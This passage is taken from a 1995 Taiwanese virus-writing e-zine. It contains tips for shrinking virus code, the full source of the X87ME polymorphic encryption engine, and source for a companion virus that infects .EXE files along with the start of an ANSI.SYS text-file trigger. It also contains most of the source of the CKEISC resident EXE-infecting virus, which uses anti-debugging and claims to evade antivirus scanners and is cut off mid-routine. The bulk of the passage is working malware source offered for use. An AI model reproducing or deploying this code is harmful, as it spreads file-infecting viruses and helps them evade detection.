如:要对 di 加 3,可以用 scasw scasb (确定是在 cld 的状况下)
,虽然有两道指令,但是却比一道指令 add di,3 小!
6. 如果一个值不需要长久的保存下来,而只是暂时的保存/取出,那么
不需要在记忆体内多设一个变数来保存/取出,只需用 push/pop 即
可。
如:在感染档案之前,所要做的 取得属性 -> 保存此属性 -> 设属
性为可读写 -> 感染 -> 取出原属性 -> 设回
mov ax,4300h
int 21h
push cx ; *
mov ax,4301h
xor cx,cx
int 21h
.
. (感染档案)
.
pop cx ; *
mov ax,4301h
int 21h
7. 要将一个暂存器设为 0 时,用 xor/sub reg,reg 比 mov reg,0 好!
如果要将 ax 设为 0,且你又确定 al = 0,则用 cbw,或是只要让
ah = 0 就好,则要确定 al <= 7fh 否则会使 ah = 0ffh,同样的道
理... 想让 dx = 0,则用 cwd!
如:让档案读写指标移到档尾...
mov ax,4202h ; ax = 4202h <= 7fffh
xor cx,cx ; cx = 0
cwd ; dx = 0
int 21h
8. 尽量充份的利用暂存器,而少用记忆体变数,通常对记忆体运算的指
令会比对暂存器运算的指令要来的小!
9. 有一点我觉得很奇怪,某些人会有一种习惯,那就是在... 将记忆体
变数的值搬给区段暂存器时,会用...
mov ax,ds:memory
mov ds,ax
会什么不直接用这个指令呢?
mov ds,ds:memory
可能他认为要改变 ds 的同时又从 ds 的区段内取出资料会发生错误
,但是这样的考虑是多余的!
想让一个区段暂存器的值搬到另一个区段暂存器,用 push seg_reg2
pop seg_reg1 即可。
如:要让 ds = cs 则用...
push cs
pop ds
而不要用...
mov ax,cs
mov ds,ax
10.存取变数时尽量用 ds 当区段,而不用 cs es ss!
如: mov ax,cs:memory
最好用...
mov ax,ds:memory ; 在 ds = cs 时
11.取 double word 时用 lseg!
如: mov ax,ds:memory
mov dx,ds:memory[2]
最好用...
les ax,ds:memory ; 在 es 值无用的情况下,所以可任意改变
mov dx,es
12.在 rep xxxsb/xxxsw 或 loop 回圈之后,cx = 0 这点可善加利用,
省掉一个将暂存器设为 0 的动作。
如: rep movsb ; 将毒搬到高记忆体区之后
mov ds,cx ; 利用 cx 使 ds = 0
; ds = 0 (中断向量表),然后拦中断
13.要将暂存器乘/除 2 的 n 次方时,用 shl/shr 比 div/mul 好!
如:要将 ax 乘 2,则...
shl ax,1
而不要用...
mov bx,2
mul bx
14.改变指令本身,但是如果被改变的指令在几道指令后就会被执行的话
,则要考虑到 cpu 会预提指令的问题,它虽然是 anti-trace 的方
工具,但是有时亦是产生 bugs 的原因(在 pentium 上有指令驻列回
存的功能,所以没有这个问题,但是相对的,也不能再使用这个方法
来 anti-trace 了!)
如: mov memory,ax
.
.
mov ax,memory
较好的写法是...
mov memory,ax
.
.
db 0b8h ; 0b8h = mov ax,xxxx 的 opcode
memory dw ?
或...
mov memory,ax
.
.
mov ax,0
org $-2
memory dw ?
亦可...
使用到 jmp dword ptr xxxx,如在病毒的 int 21h 内,当病毒
要 jmp far 到 dos 的 int 21h 时,可以用...
jmp dword ptr cs:dos21
但是较好的写法是
db 0eah ; jmp xxxx:xxxx 的 opcode
dos21 dd ?
15.如果一段程式码使用在很多地方,则将它写程副程式,要使用时...
则用 call 来呼叫 (但是并不是绝对的,有可能这段程式码太短,所
以写成程副程式反而不划算,一般来讲,如果大于 4 bytes 以上,并
且在许多地方都用到,则可写成副程式)
16.采用 tasm 来编译。由于 tasm 有 multiple passes (tasm 加 /m 参
数),并且程式码最佳化,所以建意你使用 tasm。
上面写的就是将程式缩小的基本概念,但是这些概念并不是绝对的,
可能在某个情况下,用别的方法会更好,这完全要靠你个人的应用了,事
实上还有许多东西要靠你自己去探索,透过对 80x86 指令编码格式的深
入了解,才能写出较小的程式,去写几个多形程式,就可以了解 80x86
的指令格式了。
在最小化你的程式码之前,最好将原始程式先备份,因为或许修改后
的程式并不比原来的小。当你怀疑以某个指令取代原先的指令可能会比较
小,但是你并不确定,则应该用 debug 输入指令,再比较看用那个好。
通常比较大的毒能力是比较强的,但是 size 较大,相反的,小毒能
力弱,但是 size 小,而如何在能力与 size 之间取得一个适当的点,则
看你自己罗!
- DS -
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   8087 变体引擎   Vo
pT OT
VP by Zhuge Jin VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

嗨!大家好!很高兴又有机会跟大家,研究写变体引擎的写作方法!真得用 x87
指令可以写出变体引擎吗?能用 x87 作解码动作吗?
Okay!所以现在要告诉你答案是可以的!但是要考虑是否有 x87 的存在与否!如
我们的电脑没有 x87 的话, 我们这些指令会被 pass 过!如果我们用 x87 来作
解码的话那岂不就会失败?因此我考虑将 x87 指令作为垃圾指令!那你会问如何
用 x87 来解码!事实上, 只是用 x87 来运算一个数值来让 x86 来作编码而已!
这里还要考虑数值是否会溢位、除零,因此很多指令并不能随便用!尤其是在回圈
里类似 FADD [BX+SI] [BX+SI] 可能等于 [FFFF]?而 x87 指令并不是存取一个
byte 或 word !而是 dword 和 qword !这一来问题就更大了!所以我写这个引
擎只有用到一部份而已,所以并不是很乱!
虽然如此... 这个引擎也显得非常的小 (约 490 bytes) 比起 MIME 变体引擎还
小 100 bytes 多!解码方式只有三种 (add、sub、xor) , 而 MIME 有四种 (inc
、dec、ror、rol)!不过小归小能用就好了!
其中如有问题,请参考上期变体引擎写作中的 8086 指令表,或是用 debug 去
trace !以下就是我的范例...
; This is [X87ME]
; Written by Zhuge Jin in Taipei, Taiwan.
; (C) Copyright TPVO . , 1995.
.286
.MODEL TINY
.CODE
msg_addr equ OFFSET msg-OFFSET proc_start-3
org 0100h
start:
mov ah,09h
mov dx,OFFSET gen_msg
int 21h
mov ax,OFFSET X87ME_E+000fh
shr ax,04h
mov bx,cs
add bx,ax
mov es,bx
mov cx,0050
gen_l1:
push cx
mov ah,3ch
xor cx,cx
mov dx,OFFSET file_name
int 21h
push ax
in ax,40h
and ax,0001h
mov bx,ax
mov cx,OFFSET proc_end-OFFSET proc_start
mov dx,OFFSET proc_start
mov bp,0100h
call X87ME
pop bx
mov ah,40h
int 21h
mov ah,3eh
int 21h
push cs
pop ds
mov bx,OFFSET file_no
inc byte ptr ds:[bx+01h]
cmp byte ptr ds:[bx+01h],'9'
jbe gen_l2
inc byte ptr ds:[bx]
mov byte ptr ds:[bx+01h],'0'
gen_l2:
pop cx
loop gen_l1
mov ah,4ch
int 21h
file_name db 'T'
file_no db '00.COM',00h
gen_msg db 0dh,0ah,'Generates 50 [X87ME] encrypted test files...',0dh,0ah,'$'
proc_start:
call $+0003h
pop dx
add dx,msg_addr
mov ah,09h
int 21h
int 20h
msg db 'This is a [X87ME] test file!$'
proc_end:
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; [X87ME] by Zhuge Jin of TPVO.
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; 参数说明:
; bl=00h 用于 .com 的格式!bl=01h 用于 .exe 的格式!
; bp 解码程式的偏移位址!
; es:0000h 用来指定存放 (解码程式+被编码程式) 的区段!
; cx 被编码的程式长度!
; ds:dx 指向要被编码的程式位址, 通常是指向病毒开头!
; 返回值:
; cx (解码程式+被编码的程式) 的长度!
; ds:dx 指向 (解码程式+被编码的程式) 的位置!
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
enc_cod db 10101000b,02h, 10000000b,2ah, 10110000b,32h, 10110000b,32h
; 解码方式 sub.......add add.......sub xor.......xor xor.......xor
reg_cod db 011b,111b, 101b,110b, 110b,100b, 111b,101b
; 暂存器 bx,[bx+disp] bp,[bp+disp] si,[si+disp] di,[di+disp]
reg db ?,?
; 存放 reg_cod
a0 dw ? ; 回圈的起始位址
a1 dw ? ; mov reg,xxxxh 的位址
a2 dw ? ; xor byte ptr [reg+xxxxh],xxh 的位址
a3 dw ? ; jz xxxxh 的位址
a4 dw ? ; jmp xxxxh 的位址
X87ME:
cld ; 关方向旗标
push ds ; 保留 ds:dx
push dx ;
push cs ; set ds:=cs
pop ds ;
and bl,01h ; set bl:=0b or 1b
xor di,di ; set di:=0000h
call make_tsh_cod
mov si,OFFSET reg_cod ; 决定 reg 的种类
call rnd_si ;
lodsw ;
mov word ptr ds:reg,ax ; 将 reg 暂存起来
or al,0b8h ; 产生 mov reg,xxxxh
stosb ;
mov ds:a1,di ;
stosw ;
call make_tsh_cod
call make_tsh_cod
mov ds:a0,di ; 回圈的起始
call make_tsh_cod
test bl,01h ; if bl:=1b 为 .exe 产生 cs:
jz un_cs ; bl:=0b 为 .com 则跳过
mov al,2eh
stosb
un_cs:
in al,40h ; 产生 add byte ptr [reg+disp],xxh
and al,02h ; sub byte ptr [reg+disp],xxh
add al,80h ; xor byte ptr [reg+disp],xxh
stosb ;
mov si,OFFSET enc_cod ;
call rnd_si ;
lodsw ;
mov ds:enc_buf,ah ;
or al,ds:[reg+01h] ;
stosb ;
mov ds:a2,di ;
in ax,40h ; disp
stosw ;
in al,40h ; 编码值
stosb ;
call make_tsh_cod
mov al,40h ; 产生 inc reg
or al,ds:reg ;
stosb ;
call make_tsh_cod
mov ax,0f881h ; 产生 cmp reg,xxxxh
or ah,ds:reg ;
stosw ;
mov ds:a3,di ;
stosw ;
or bl,10000000b ; 产生不会改变旗标的垃圾码
call make_tsh_cod ;
and bl,00000001b ;
mov al,74h ; 产生 jz xxxxh
stosb ;
mov ds:a4,di ;
stosb ;
call make_tsh_cod
mov al,0e9h ; 产生 jmp xxxxh
stosb ;
mov ax,ds:a0 ;
sub ax,di ;
dec ax ;
dec ax ;
stosw ;
in ax,40h ; 加一个值给 di
and ax,0fh ;
add di,ax ;
mov si,ds:a4 ; 设定 jz xxxxh 要跳到的位址
mov ax,di ;
sub ax,si ;
dec ax ;
mov es:[si],al ;
mov ax,di ; 设定 mov reg,xxxxh 的初值
add ax,bp ;
mov si,ds:a2 ;
sub ax,es:[si] ;
mov dl,es:[si+02h] ; dl 为编码值
mov si,ds:a1 ;
mov es:[si],ax ;
mov ds:a1,ax ;
pop si ; 就是先前 push ds dx
pop ds ;
push cx
enc_prg:
lodsb
enc_buf db 90,0c2h ; 编码动作 add al,dl、sub al,dl、xor al,dl
stosb
loop enc_prg
pop cx
mov si,ds:a3 ; 设定 cmp reg,xxxxh 的值
mov ax,ds:a1 ;
add ax,cx ;
mov es:[si],ax ;
x87me_ext:
mov cx,di ; 设定返回参数
xor dx,dx ;
push es ;
pop ds ;
ret
rnd_si:
in ax,40h ; 决定 si 的乱数值
add al,es:[di-02h]
neg ax
and ax,0003h
test bl,10000000b
jz rs_a
and al,01h
rs_a:
add ax,ax
add si,ax
ret
mtc_tab dw OFFSET mtc1,OFFSET mtc2,OFFSET mtc3,OFFSET mtc4
make_tsh_cod:
push cx ; 产生垃圾指令
in ax,40h
and ax,0007h
add ax,0003h
mov cx,ax
mtc_l:
mov si,OFFSET mtc_tab
call rnd_si
in ax,40h
add al,es:[di-02h]
call ds:[si]
loop mtc_l
pop cx
ret
mtc1:
mov al,0d8h ; 产生 x87 的垃圾指令
stosb ; 你可以将这个副程式加入你写的引擎
mtc1_a1: ; 这样你的引擎也可以产生 x87 的指令
in ax,40h
mov al,ah
and ah,00111000b
cmp ah,00001000b
jz mtc1_a1
cmp ah,00110000b
jae mtc1_a1
mov ah,al
and ah,11000111b
cmp ah,00000110b
jnz mtc1_a2
stosb
in ax,40h
stosw
ret
mtc1_a2:
or al,11000000b
stosb
ret
mtc2:
and al,01h ; 产生 mov reg,(xx)xxh 的垃圾指令
mov dl,al
shl dl,03h
call rnd_reg
and al,00000111b
or al,0b0h
or al,dl
stosb
cmp al,0b8h
in ax,40h
jb mtc2_a
stosb
mtc2_a:
stosb
ret
mtc3:
cmp al,0a0h
jae mtc3_a3
cmp al,40h
jae mtc3_a2
mtc3_a1:
and al,11111101b ; 产生 add reg,reg
stosb ; sub reg,reg
mov ah,al ; xor reg,reg
and ah,00000100b ; add reg,reg
jnz mtc3_a1b ; ... 等垃圾指令
call rnd_reg
stosb
ret
mtc3_a1b:
and al,01h
cbw
add di,ax
inc di
ret
mtc3_a2:
mov al,01h ; 产生 inc reg 的垃圾指令
call rnd_reg
and al,0fh
or al,40h
stosb
ret
cod db 91h,91h,98h,0d6h,0ech,0f8h,0fah
db 27h,2fh,37h,3fh,9bh,9fh,0ceh,0cch,0f5h
mtc3_a3:
and ax,000fh ; 产生 cod 里 1 byte 的垃圾指令
mov si,OFFSET cod
add si,ax
mov ah,ds:[si]
cmp al,07h
jae mtc3_a3b
in al,40h
and al,01h
add ah,al
mtc3_a3b:
mov al,ah
stosb
ret
mtc4:
and al,02h ; 产生 add reg,(xx)xxh
or al,80h ; sub reg,(xx)xxh
stosb ; xor reg,(xx)xxh
call rnd_reg ; add reg,(xx)xxh
stosb ; ... 等垃圾指令
in ax,40h
stosw
cmp byte ptr es:[di-04h],81h
jz mtc4_a
dec di
mtc4_a:
ret
rnd_reg:
mov bh,al ; 产生乱数的暂存器
rr_a1: ; 这些暂存器不会跟目前解码的暂存器相同
test bh,01h ; 也不会是 sp
in al,40h ; xx xxx xxx b
mov ah,al ; ^^^^^^ ^^^
jnz rr_a2 ; 乱数 暂存器
and ah,00000011b
rr_a2:
and ah,00000111b
cmp ah,00000100b
jz rr_a1
cmp ah,ds:reg
jz rr_a1
or al,11000000b
ret
X87ME_E:
END start
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   看文字档会中毒吗?   Vo
pT OT
VP by Dark Slayer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

最近 90 网上有人在讨论看文字档是否会中毒,有人说"会",因为他那边
收集的ANSI病毒有这种能力,这使我想起以前做的关于ANSI的实验,我写
的不是会感染文字档的ANSI病毒,而只是为了证明 "在DOS 下 type 一个
文字档也有可能中毒" ,但有一个条件是你必须先挂上ANSI.SYS。究竟是
怎么做到的呢?其实我只是利用ANSI所提供的 "定义按键" 的功能,把某
个按键定义为一些DOS 命令,而这些DOS 命令就是用来制造和启动病毒的
,如何利用DOS 命令来造出程式呢?利用输出转向 echo 程式码>x.com,
但是会有一个问题,就是这只病毒的程式码必须避开一些特殊控制码,像
>、<会被当做是输出、入转向,而 1ah (ctrl-Z,^Z) 会被当做是文字档
的结束码(EOF) ... 等,除了这些之外还有许多控制码是必须避开的,所
以对于这只病毒的某些程式写法较奇怪。 底下就是这只病毒的 source
code,用 TASM 组译后可得到一个155 Bytes 的病毒,这只毒是属于 "伴
随型" ,只伴随 .EXE 档,非常驻型... 由于这只毒并不是此篇文章的重
点,且它很简单,所以我就不打注解了,再紧接著下面的文字档就是把此
毒加工后,可利用ANSI来触发的文字档,你可以把它撷取做成单独一个档
,但是在 DOS 下直接 type 此文章也可以有 "效果" 。
实验方法:
1> 首先确定你的电脑有挂上 ANSI.SYS!
2> 然后到某个有 EXE 档的目录,type 此文字档!
3> 随便打一个 DOS 命令,Enter 后你会发现奇怪的现象!
4> 以 dir/ah 看隐藏档案,你就会发现一个与某 EXE 档名相同,但副档
名为 COM 的病毒档!
结论:
我不知道我的方法是否和别人所讲的ANSI病毒一样,但是可以确定一点,
这种感染方法很逊,而且有许多限制,像:必须有挂上ANSI.SYS、必须用
DOS 的type才能触发,利用一些文书处理程式来看就无法触发此毒、容易
被发现... 等缺点,但我们还是证明了一件事,那就是 -> 看文字档还是
会中毒的,不用怀疑 :D
;================ Begin of vir.asm =====================================
vir_size equ (offset vir_end-offset start)
mem_size equ (offset mem_end-offset start+100h)
mem_para equ (mem_size+0fh)/10h
.model tiny
.code
org 100h
start: jmp vir_start
com_exe: lodsb
test al,al
jnz com_exe
xor word ptr ds:[si-4],'OC' xor 'XE' xor 'D'
xor byte ptr ds:[si-4],'D'
xor byte ptr ds:[si-4+2],'M' xor 'E' xor 'S'
xor byte ptr ds:[si-4+2],'S'
ret
vir_start: mov ah,1ah xor 'A'
xor ah,'A'
mov dx,offset vir_dta
int 21h
mov ah,4eh
find_file: mov si,offset vir_dta[find_name]
xor cx,cx
mov ds:every_files[5+si]-vir_dta[find_name],cl
mov dx,offset every_files
int 21h
jc exec_host
mov dx,si
call com_exe
mov ah,5bh
mov cl,4
dec cx
int 21h
xchg bx,ax
mov ah,4fh
jc find_file
mov ah,40h
mov cl,vir_size
xor dl,dl
int 21h
mov ah,0eh
db 0dh,0ah,30h ; or ax,300ah
int 21h
exec_host: mov ah,4ah
xor si,si
lea bx,[si+mem_para+2]
int 21h
mov di,offset pcb
mov bx,di
xor ax,ax
cwd
stosw
mov al,80h
stosw
mov ax,es
stosw
lea ax,[si+5ch]
stosw
mov ax,es
stosw
lea ax,[si+6ch]
stosw
mov ax,es
stosw
mov ds,ds:[si+2ch]
search_host_name:
inc si
cmp word ptr ds:[si],dx
jne search_host_name
lodsw
lodsw
mov dx,si
call com_exe
mov ah,4bh
int 21h
mov ah,4dh
int 21h
mov ah,4ch
int 21h
every_files db '*.exe',0ffh
vir_end:
pcb dw 7 dup(?)
mem_end:
vir_dta:
find struc
find_drive db ?
find_find_name db 8 dup(?)
find_find_ext db 3 dup(?)
find_find_attr db ?
find_entry_count dw ?
find_dir_1st_clust dw ?
db 4 dup(?)
find_attr db ?
find_time dw ?
find_date dw ?
find_size dd ?
find_name db 13 dup(?)
find ends
end start
;================= End of vir.asm ======================================
================ Begin of vir.txt ======================================
3;13;"prompt $e[30m
echo
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 二 期 TP
oV PV
TO   CKEISC virus   Vo
pT OT
VP by Hero Wu VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

这只病毒乍见之下好像没有什么,实际上也没有什么,可是呢就是可以躲过
PVSCAN (我试的是 95 年 6 月 16 号版),因为我用的是很特别的方法,用
INT 3 拦在 INT21H 的进入点之前面。而且进入点没有找,所以几乎是莫名
奇妙就 CALL 了一个地方,因此如果可以判断出来的话,那可就很容易误判
了!据说 PCCILLIN 5.0 也挂了,因为我没有拿到,所以是别人帮我试的,
我只敢说「听说」,因为我没有试过!
而且这只毒似乎是全台湾第一只,甚至全世界第一只支援音效卡的病毒!病
毒支援音效卡? 够变态吧!而且病毒码才 1.8K,很小吧! 在解码部份是用
INT 01H,为的是想让 DEBUG 失效,至于有没有用,我也就不得而知了!
我想写病毒和防毒程式最大的不同点即在于,写毒比较自由,可以不用注意
到相容性问题, 我可以大胆地把程式码直接拷到 HMA 而不计如果没有 HMA
时之后果!而且也可以直接 CALL DOS 的进入点,而不管是否会当机!因此
我就用了些「暴力法」来躲避智慧型防毒程式的分析,这一点是要告诉大家
,防毒程式有其发展的限制,所以在某些方面可能写毒的人会略胜一筹,别
尽信些防毒程式万能之说,也别任意盗拷他人软体!
大家一定很好奇吧,究竟发作那一天会发生什么事呢?其实跟以往的版本也
都差不多,只不过是多了「音乐」,这个音乐呢,当然也跟文字有关系啦,
就是生日快乐歌!而且还是有音效卡才听得到,乐器为钟声,如果您在六月
二十四日,也就是我生日当天发现萤幕上有黄色的字在闪时,别忘了打开您
的喇叭, 聆听一下这美妙的音乐哦!
在本文文末,我想把一些我没有传出去的说明档,一起附上,里面是一些我
想说的话,包括我写毒的理念等,也许你们看了之后,会认同我写毒的动机
也说不定!
By Dark Smile '95/07/13
;======================= 以下为原始码可自行 COMPILER ===================
IO EQU 388H ; 这是音效卡的 IO ADDRESS!
C EQU 0 ; 这是 Do 的 index
D EQU 4 ; 这是 Re 的 index
E EQU 8 ; 这是 Mi 的 index
F EQU 10 ; 这是 Fa 的 index
G EQU 14 ; 这是 Sol 的 index
A EQU 18 ; 这是 La 的 index
B EQU 22 ; 这是 Si 的 index
C2 EQU 24 ; 这是高音 Do 的 index
STOP EQU 26 ; 这是休止符的 index
TWO EQU 8 ; 这代表八分音符
FOUR EQU 4 ; 这代表四分音符
buf_add EQU 09000h ; 这是感染时的 bufer 位置
vir_add EQU 0f000h ; 这是病毒的 offset
.286
.MODEL SMALL
.CODE
start:
Mark DB 'C' ;常驻MARK
PSP DW ?
Tra_T DW 0
K01_I DW ?
K01_C DW ?
XORB DB 3,4,3,4,3,1,2
Rexor DB 0h
DB 0a0h ;感染MARK
INT01A PROC ;INT 01H 的解码程式
push bx
pop cs:k_bx
push sp
pop bx
push ss:[bx]
pop cs:k_ip
pusha
int 7 ;这一行是为了当掉某除错软体!
;
cmp cs:Tra_T,6
jb ContA
mov ax,ss:[bx+4] ;如果解码完了就结束单步执行
and ax,1111111011111111b
mov ss:[bx+4],ax
ContA:
mov di,cs:Tra_T
xor ch,ch
mov cl,XORB[di]
mov al,cs:Rexor
add al,39
mov si,cs:k_ip
CLP:
xor ds:[si],al
inc si
loop CLP
inc cs:Tra_T
popa
push cs:k_bx
pop bx
iret
INT01A ENDP
BEGIN: ;病毒进入点
mov cs:PSP,es
mov WORD PTR cs:Tra_T,0
cli
xor ax,ax
mov ds,ax
mov bx,OFFSET INT01A ;Set vect int 01h
xchg ds:[4],bx
mov cs:K01_I,bx
mov ax,cs
xchg ds:[6],ax
mov cs:K01_C,ax
push cs
pop ds
pushf
pop bx
lock or bx,0000000100000000b
push bx
popf
nop
nd_C:
mov cx,OFFSET ENDCURE ;解码
sub cx,OFFSET st_C
mov si,OFFSET st_C
mov al,cs:Rexor
st_LP:
xor cs:[si],al
inc si
loop st_LP
st_C:
;
xor ax,ax
mov ds,ax
push cs:K01_I
pop ds:[4]
push cs:K01_C
pop ds:[6]
;
mov ah,2ah ;检查是否为发作日期
int 21h
cmp dh,6
jne Not_Today
cmp dl,24
jne Not_Today
mov cs:Date_f,1
jmp short Yes_Today
Not_Today:
mov cs:Date_f,0
Yes_Today:
mov ax,0ffffh ;检查是否常驻
mov ds,ax
cmp BYTE PTR ds:[vir_add],'C'
jne Copy_code
jmp Installed
Copy_code:
;
cli
xor ax,ax
mov ds,ax
;
mov bx,OFFSET INT03+vir_add ;Set vect int 03h
mov ds:[12],bx
mov ax,0ffffh
mov ds:[14],ax
;
cmp cs:Date_f,1 ;如果为发作日再拦, 因为A20位址线常开
jnz N_TD ;关, 所以容易当机, 平时不拦!
mov ax,0ffffh
mov bx,OFFSET INT08+vir_add ;Set vect int 08h
xchg ds:[32],bx
mov cs:Int08_I,bx
xchg ds:[34],ax
mov cs:Int08_C,ax
N_TD:
;
push cs:Int21_C ;Set & Get vect int 21h!?
pop ds
mov bx,cs:Int21_I
mov BYTE PTR ds:[bx],0cch
inc cs:Int21_I
;
push cs ;拷贝至HMA
pop ds
mov ax,0ffffh
push ax
pop es
mov di,vir_add
xor si,si
mov cx,OFFSET ENDCURE
rep movsb
;
Installed:
mov bx,cs:PSP ;返回执行原EXE档
mov ax,cs:KEEP_cs
add ax,bx
add ax,010h
push ax
push cs:KEEP_ip
mov ds,bx
mov es,bx
sti
retf
;
k_ip DW 0
k_bx DW 0
KEEP_SS DW ?
KEEP_SP DW ?
KEEP_IP DW ?
KEEP_CS DW ?
EXE_HANDLE DW ? ;EXE 档之档案代码.
Int08_I DW ?
Int08_C DW ?
Int2a_I DW ?
Int2a_C DW ?
Int21_I DW 40F8h ;这是一般DOS在HMA的进入点!
Int21_C DW 0FDC8h
Date_f DB 00h
Times DW 0000h
Ckeisc DW CkeiscE+vir_add,CkeiscT+vir_add
CkeiscE DB 'CKEISC ver 2.1 CopyLeft(c) 1995 6/5 by Dark Smile '
DB 'in Taiwan, Taipei at TPVO Happy birthday to Dark Smile!'
CkeiscT DB '建中电研社病毒2.1版 版权没有随便你拷 民国八十四年五月七日 '
DB '作者Dark Smile 于 TPVO祝 Dark Smile 生日快乐 ! ^_^ '
LEN_H DW ?
LEN_L DW ?
CURE_LE DW ?
BASE1 DW 0200H
BASE2 DW 0010H
cnt DW 0
times2 DW 0
Ztest DB 'ZTEST'
Int2aol DB 0cfh
Bir:
inc cs:cnt+vir_add
jmp Bye
INT08 PROC ;发作画面.....^_^
pusha
push es
push ds
cli
inc word ptr cs:Times+vir_add
;
cmp cs:Times+vir_add,1092 ;一分钟改一次调色盘
jbe Quit
mov cs:Times+vir_add,0
mov ax,1012h
mov cx,256
xor bx,bx
int 10h
Quit:
mov ax,9100h ;侦测倚天
int 10h
xor di,di
cmp ax,9100h
je No_ET
inc di
inc di
No_ET:
push cs
pop es
push cs
pop ds
mov ax,1300h
mov bx,008eh
mov cx,109
xor dx,dx
mov bp,Ckeisc+vir_add[di]
int 10h
;
mov si,cs:times2+vir_add
shl si,1
mov ax,cs:cnt+vir_add
cmp ax,cs:delayt+vir_add[si]
jbe Bir
xor ax,ax ;关掉音效卡音乐
call key_off
mov cs:cnt+vir_add,0
xor ax,ax
call s_i ;设定乐器为钟声!
xor ax,ax ;设定音量
mov bx,80
call set_vol
xor ax,ax ;放音乐
mov di,cs:no+vir_add[si]
mov cx,4
call key_on
inc cs:times2+vir_add
cmp cs:times2+vir_add,29
jge Too_Big
jmp short Bye
Too_Big:
mov cs:times2+vir_add,0
bye:
;
pop ds
pop es
popa
sti
jmp DWORD PTR cs:Int08_I+vir_add
INT08 ENDP
no DW C,C,D,C,F,E,STOP,C,C,D,C,G,F,STOP,C,C,C2,A,F,E,D
DW STOP,C2,C2,A,F,G,F,STOP
delayt DW TWO,FOUR,FOUR,TWO,TWO,TWO,TWO,TWO,FOUR,FOUR,TWO,TWO
DW TWO,TWO,TWO,FOUR,FOUR,TWO,TWO,TWO,TWO,TWO,TWO,FOUR
DW FOUR,TWO,TWO,TWO,TWO
sound DB 07h,12h,4fh,00h,0f2h,0f2h,60h,72h,00h,00h,08h
notes DW 155h,16bh,181h,198h,1b0h,1cah,1e5h,202h,220h,241h
DW 263h,287h,2aeh,0
r_b PROC
push ax
push bx
mov ax,1
xor bx,bx
next:
call w_r
inc ax
cmp ax,245
jbe next
pop bx
pop ax
ret
r_b ENDP
w_r PROC ;AX register_no,BX data
push ax
push bx
push cx
push dx
mov dx,IO
out dx,al
mov cx,6
rept1:
in al,dx
loop rept1
inc dx
mov ax,bx
out dx,al
mov cx,35
rept2:
in al,dx
loop rept2
pop dx
pop cx
pop bx
pop ax
ret
w_r ENDP
key_off PROC ;AX channel_no
push ax
push bx
add ax,0b0h
xor bx,bx
call w_r
pop bx
pop ax
ret
key_off ENDP
key_on PROC
pusha
add ax,0a0h
mov bx,notes+vir_add[di]
and bx,0ffh
call w_r
add ax,10h
mov bx,notes+vir_add[di]
ror bx,8
shl cx,2
mov dx,20h
or dx,cx
or bx,dx
call w_r
popa
ret
key_on ENDP
set_vol PROC ;AX channel BX vol
add ax,40h
call w_r
ret
set_vol ENDP
s_i PROC ;AX channel_no BP INSTRUMENT *ins
pusha
push ax
xor bx,bx
xor si,si
mov cl,3
div cl
xor cx,cx
mov cl,al
shl cx,3
mov al,ah
xor ah,ah
add ax,cx
mov cx,4
add ax,20h
next_s:
mov bl,sound+vir_add[si]
inc si
call w_r
add ax,3
mov bl,sound+vir_add[si]
inc si
call w_r
add ax,1dh
loop next_s
add ax,40h
mov bl,sound+vir_add[si]
inc si
call w_r
add ax,3
mov bl,sound+vir_add[si]
inc si
call w_r
pop ax
add ax,0c0h
mov bl,sound+vir_add[si]
call w_r
popa
ret
s_i ENDP
INT03 PROC ;利用INT 3拦INT 21!
cli
push bx
pop cs:k_bx+vir_add
push sp
pop bx
;
push cs:Int21_I+vir_add
pop ss:[bx]
;
mov bx,cs:k_bx+vir_add
jmp short Int21
R_here:
;
mov bx,cs:k_bx+vir_add
iret
INT03 ENDP
INT21 PROC ;以下为INT 21H 病毒感染核心!
cmp ax,4b00h
je Virus
jmp Goodbye
Virus:
;***************************************************Change a EXE file******
pusha
push ds
push es
;
push ds
pop es
push dx
pop di
mov al,'.'
mov cx,128
repnz scasb
cmp BYTE PTR ds:[di],'E'
jz Yes_exe
Not_Infect:
jmp Gbye
Yes_exe:
push ds
push cs
pop ds
sub di,6
mov si,OFFSET Ztest+vir_add ;若为ZTEST.EXE则不屑感染
mov cx,5
repz cmpsb ;cmpsb ds:si==es:di?
pop ds
cmp cx,0
jz Not_Infect
;
xor ax,ax ;干掉INT 2AH!
mov es,ax
mov ax,es:[168]
mov cs:Int2a_I+vir_add,ax
mov ax,es:[170]
mov cs:Int2a_C+vir_add,ax
;
mov bx,cs:Int2a_C+vir_add
mov es,bx
mov bx,cs:Int2a_I+vir_add
mov al,es:[bx]
mov cs:Int2aol+vir_add,al
mov BYTE PTR es:[bx],0cfh
;
mov ax,3D00h ;Open EXE file
pushf
call DWORD PTR cs:Int21_I+vir_add
mov cs:EXE_HANDLE+vir_add,ax
mov bx,ax
;
push bx ; save BX
mov ax,1220h
int 2fh ; get JFT
mov ax,1216h
xor bh,bh
mov bl,es:[di] ; BL=JFT
int 2fh ; get SFT
pop bx ; restore BX
mov word ptr es:[di+2],2 ; file mode = 2 (read/write)
mov al,es:[di+4] ; AL=file attribute
push ax ; save AX
mov byte ptr es:[di+4],0 ; set file attribute to zero
;
mov ax,es:[di+11h] ; AX=file length
mov dx,es:[di+13h]
dec ax
mov es:[di+15h],ax ; set access point to file end
mov es:[di+17h],dx ; set access point to file end
push es
push di
;
mov ax,buf_add
mov es,ax
